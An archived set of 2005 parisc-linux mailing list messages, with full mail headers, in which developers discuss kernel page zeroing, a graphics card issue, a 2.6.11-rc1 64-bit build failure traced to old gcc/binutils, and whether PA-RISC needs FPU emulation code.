> This sounds neat and "clean". But things could get very ugly
> when one needs to "steal" zero'd pages for other uses.
> 
> > Should be interesting to consider.
> 
> Yes, Agreed.
> 
Design seems to be drifting in that general direction.

See: change log on 2.6.11-rc1

More details at:
<http://seclists.org/lists/linux-kernel/2005/Jan/0888.html>

Mike (with Joel's help).
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Vis-EG card problems on c3k with 2.6.10-pa10?
Date: Wed, 12 Jan 2005 08:58:53 -0500 (EST)
Lines: 15
Approved: news@gmane.org
Message-ID: <200501121358.j0CDwscm006861@hiauly1.hia.nrc.ca>
References: <20050112055419.GD1281@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623650 12548 80.91.229.3 (22 Nov 2014 02:34:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Jan 2005 13:59:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx020) with SMTP; 12 Jan 2005 14:59:41 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 241F53BE59; Wed, 12 Jan 2005 06:59:39 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22807-10; Wed, 12 Jan 2005 06:59:39 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D4A003BE64; Wed, 12 Jan 2005 06:59:31 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ADC733BE59
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 12 Jan 2005 06:59:27 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 22807-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 12 Jan 2005 06:59:26 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 6A7FF3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 12 Jan 2005 06:59:26 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j0CDwsD2006862; Wed, 12 Jan 2005 08:58:54 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j0CDwscm006861;
	Wed, 12 Jan 2005 08:58:54 -0500 (EST)
In-Reply-To: <20050112055419.GD1281@baldric.uwo.ca> from "Carlos O'Donell" at
	Jan 12, 2005 00:54:19 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22287

> I'm going to roll back to 2.6.9 and see...

I tried 2.6.10 and 2.6.9 a couple of weeks ago
and rolled back to 2.6.8.1-pa11.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: =?ISO-8859-15?Q?Re=3A=20copy=5Fuser=5Fpage=5Fasm=20suggested=2064bit=20improvment=20=5BWas=3A=09=5Bparisc=2Dlinux=5D=20clear=20user=20page=20test=5D?=
Date: Wed, 12 Jan 2005 16:32:22 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <41DE4A3A00001BE4@mail-1-bnl.tiscali.it>
References: <200501120752.07206.mszick@wolfbutter.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623650 12550 80.91.229.3 (22 Nov 2014 02:34:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:10 +0000 (UTC)
To: "Michael S. Zick" <mszick@wolfbutter.com>,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Jan 2005 15:34:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx047) with SMTP; 12 Jan 2005 16:34:57 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4AE223BE51; Wed, 12 Jan 2005 08:34:50 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23653-01; Wed, 12 Jan 2005 08:34:49 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 051693BE64; Wed, 12 Jan 2005 08:34:37 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2BF623BE59
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 12 Jan 2005 08:34:24 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 22954-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 12 Jan 2005 08:34:23 -0700 (MST)
Original-Received: from mail-r3.tiscali.it (unknown [213.205.37.211])
	by free.linux.hp.com (Postfix) with ESMTP id 71E883BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 12 Jan 2005 08:34:22 -0700 (MST)
Original-Received: from tiscali.be (10.39.113.121)
	by mail-r3.tiscali.it with ESMTP; 12 Jan 2005 16:34:20 +0100
Original-Received: from mail-1-bnl.mail.tiscali.sys ([10.39.115.131]
	helo=mail-1-bnl.tiscali.it)
	by mrq-1.tiscalinet.it with esmtp (Exim 4.43)
	id 1CokVl-0007sE-U8; Wed, 12 Jan 2005 16:34:20 +0100
Original-Received: from [57.67.177.33] by mail-1-bnl.tiscali.it with HTTP;
	Wed, 12 Jan 2005 16:32:22 +0100
In-Reply-To: <200501120752.07206.mszick@wolfbutter.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22288

[...]
> > 
> Design seems to be drifting in that general direction.
> 
> See: change log on 2.6.11-rc1
> 
> More details at:
> <http://seclists.org/lists/linux-kernel/2005/Jan/0888.html>
> 
The last v4 release thread start here:
<http://seclists.org/lists/linux-kernel/2005/Jan/2931.html>
and also 
<http://www.gelato.unsw.edu.au/linux-ia64/0501/12468.html>

I tried to applying those patch but I do have miss against which kernel t=
his
patch was build: a big hunk of patch [2/4] failled :-(
Having a quick look is supposed to rename severall function in mm/page_al=
loc.c
as page_order() into page_zorder() but I didn't find it and not more in t=
he
vanilla 2.6.10?

Joel

-------------------------------------------------------------------------=
--
Tiscali solde! 1 mois et activation Gratuits, modem =E0 9,99=80
http://reg.tiscali.be/adsl/default.asp?lg=3DFR



_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.11-rc1 pb with prebuild binaries
Date: Thu, 13 Jan 2005 18:05:25 +0100
Lines: 60
Approved: news@gmane.org
Message-ID: <41DE4A3A00002258@mail-1-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623650 12553 80.91.229.3 (22 Nov 2014 02:34:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Jan 2005 17:06:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx052) with SMTP; 13 Jan 2005 18:06:30 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4853A3BE51; Thu, 13 Jan 2005 10:06:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06076-03; Thu, 13 Jan 2005 10:06:05 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6BC7B3BE68; Thu, 13 Jan 2005 10:05:37 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6407D3BE59
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 13 Jan 2005 10:05:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 04953-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 13 Jan 2005 10:05:31 -0700 (MST)
Original-Received: from mail-r3.tiscali.it (unknown [213.205.37.211])
	by free.linux.hp.com (Postfix) with ESMTP id C345A3BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 13 Jan 2005 10:05:30 -0700 (MST)
Original-Received: from tiscali.be (10.39.113.122)
	by mail-r3.tiscali.it with ESMTP; 13 Jan 2005 18:05:30 +0100
Original-Received: from mail-1-bnl.mail.tiscali.sys ([10.39.115.131]
	helo=mail-1-bnl.tiscali.it)
	by mrq-2.tiscalinet.it with esmtp (Exim 4.43) id 1Cp8PX-000291-IW
	for parisc-linux@lists.parisc-linux.org; Thu, 13 Jan 2005 18:05:29 +0100
Original-Received: from [57.67.177.33] by mail-1-bnl.tiscali.it with HTTP;
	Thu, 13 Jan 2005 18:05:25 +0100
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22289

Hello all,

I just encounter the same pb to build 2.6.11-rc1-pa2 64bits on my n4k as
on prebuild binaries because of:
init/built-in.o(.init.text+0x1958): In function `change_floppy':
: undefined reference to `__builtin_va_start'
arch/parisc/kernel/built-in.o(.text.real32_call+0x38): In function `real3=
2_call':
: undefined reference to `__builtin_va_start'
arch/parisc/kernel/built-in.o(.text.real64_call+0x3c): In function `real6=
4_call':
: undefined reference to `__builtin_va_start'
arch/parisc/kernel/built-in.o(.text.pdc_printf+0x34): In function `pdc_pr=
intf':
: undefined reference to `__builtin_va_start'
kernel/built-in.o(.text.panic+0x34): In function `panic':
: undefined reference to `__builtin_va_start'
kernel/built-in.o(.text.printk+0x24): more undefined references to `__bui=
ltin_va_start'
follow
make: *** [.tmp_vmlinux1] Error 1

 but not on my b2k :-)

The difference on n4k was still installed gcc-hppa64 3.0 (because during
my last atempt 2.6.10 failled to boot with gcc 3.3) otc on b2k gcc-3.3-hp=
pa64
and binutils-hppa64.

I so build first k-2.6.11-rc3-pa1 32bit for my b2k: build and boot fine :=
-)
the same k 64 up also for b2k: build and boot fine :-)
then using the opportunity to use a build dir, on this b2k I build a kern=
el
64bit up for the n4k: build and boot fine :-)
and finaly the same thing but smp: build and boot fine :-)

So the above mentioned pb seems to be fixed by a gcc binutils hppa64 upga=
rde
:-)

Hth,
    Joel

PS: kernel build loop on going to run on n4k smp (let see the results)


-------------------------------------------------------------------------=
--
Tiscali solde! 1 mois et activation Gratuits, modem =E0 9,99=80
http://reg.tiscali.be/adsl/default.asp?lg=3DFR



_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] fpu emulation: another stupid question
Date: Fri, 14 Jan 2005 12:40:01 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <41DE4A3A0000261D@mail-1-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623651 12558 80.91.229.3 (22 Nov 2014 02:34:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:11 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Jan 2005 11:41:07 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx044) with SMTP; 14 Jan 2005 12:41:07 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3B2853BE51; Fri, 14 Jan 2005 04:41:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15052-06; Fri, 14 Jan 2005 04:40:50 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C1BF63BE69; Fri, 14 Jan 2005 04:40:12 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5F3A23BE5D
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 14 Jan 2005 04:40:06 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 15052-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 14 Jan 2005 04:40:05 -0700 (MST)
Original-Received: from mail-r3.tiscali.it (unknown [213.205.37.211])
	by free.linux.hp.com (Postfix) with ESMTP id C0B033BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 14 Jan 2005 04:40:04 -0700 (MST)
Original-Received: from tiscali.be (10.39.113.122)
	by mail-r3.tiscali.it with ESMTP; 14 Jan 2005 12:40:03 +0100
Original-Received: from mail-1-bnl.mail.tiscali.sys ([10.39.115.131]
	helo=mail-1-bnl.tiscali.it)
	by mrq-2.tiscalinet.it with esmtp (Exim 4.43) id 1CpPoA-0000Ay-0U
	for parisc-linux@lists.parisc-linux.org; Fri, 14 Jan 2005 12:40:03 +0100
Original-Received: from [57.67.177.33] by mail-1-bnl.tiscali.it with HTTP;
	Fri, 14 Jan 2005 12:40:01 +0100
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22290

Hi all,

afaik all parisc cpu have a fpu?

So do we need the emaulation code in our kernel?

Thanks,
    Joel

PS: not find answer in ml

-------------------------------------------------------------------------=
--
Tiscali solde! 1 mois et activation Gratuits, modem =E0 9,99=80
http://reg.tiscali.be/adsl/default.asp?lg=3DFR



_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fpu emulation: another stupid question
Date: Fri, 14 Jan 2005 12:41:02 +0000
Lines: 25
Approved: news@gmane.org
Message-ID: <20050114124102.GE30982@parcelfarce.linux.theplanet.co.uk>
References: <41DE4A3A0000261D@mail-1-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623651 12560 80.91.229.3 (22 Nov 2014 02:34:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Jan 2005 12:41:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx046) with SMTP; 14 Jan 2005 13:41:43 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E53763BE63; Fri, 14 Jan 2005 05:41:37 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16530-03; Fri, 14 Jan 2005 05:41:33 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A67173BE6A; Fri, 14 Jan 2005 05:41:08 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 59AEF3BE63
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 14 Jan 2005 05:41:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 15096-09 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 14 Jan 2005 05:41:04 -0700 (MST)
Original-Received: from parcelfarce.linux.theplanet.co.uk
	(parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id 7E1D53BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 14 Jan 2005 05:41:03 -0700 (MST)
Original-Received: from willy by parcelfarce.linux.theplanet.co.uk with local (Exim
	4.33) id 1CpQlC-0003KL-LY; Fri, 14 Jan 2005 12:41:02 +0000
Content-Disposition: inline
In-Reply-To: <41DE4A3A0000261D@mail-1-bnl.tiscali.it>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22291

On Fri, Jan 14, 2005 at 12:40:01PM +0100, Joel Soete wrote:
> afaik all parisc cpu have a fpu?

Not all.  There were two machines, the 712/80i and 712/60i that shipped
without an FPU.

> So do we need the emaulation code in our kernel?

The emulation code also handles conditions that are not implemented by the
hardware.  I forget what they are exactly; some of the 128-bit wide FP
ops and some operations involving denormalised or infinite numbers.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fpu emulation: another stupid question
Date: Fri, 14 Jan 2005 11:02:33 -0500
Lines: 17
Approved: news@gmane.org
Message-ID: <20050114160233.GQ1281@baldric.uwo.ca>
References: <41DE4A3A0000261D@mail-1-bnl.tiscali.it>
	<20050114124102.GE30982@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623651 12561 80.91.229.3 (22 Nov 2014 02:34:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Jan 2005 16:03:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx060) with SMTP; 14 Jan 2005 17:03:50 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4CF293BE69; Fri, 14 Jan 2005 09:03:42 -0700 (MST)
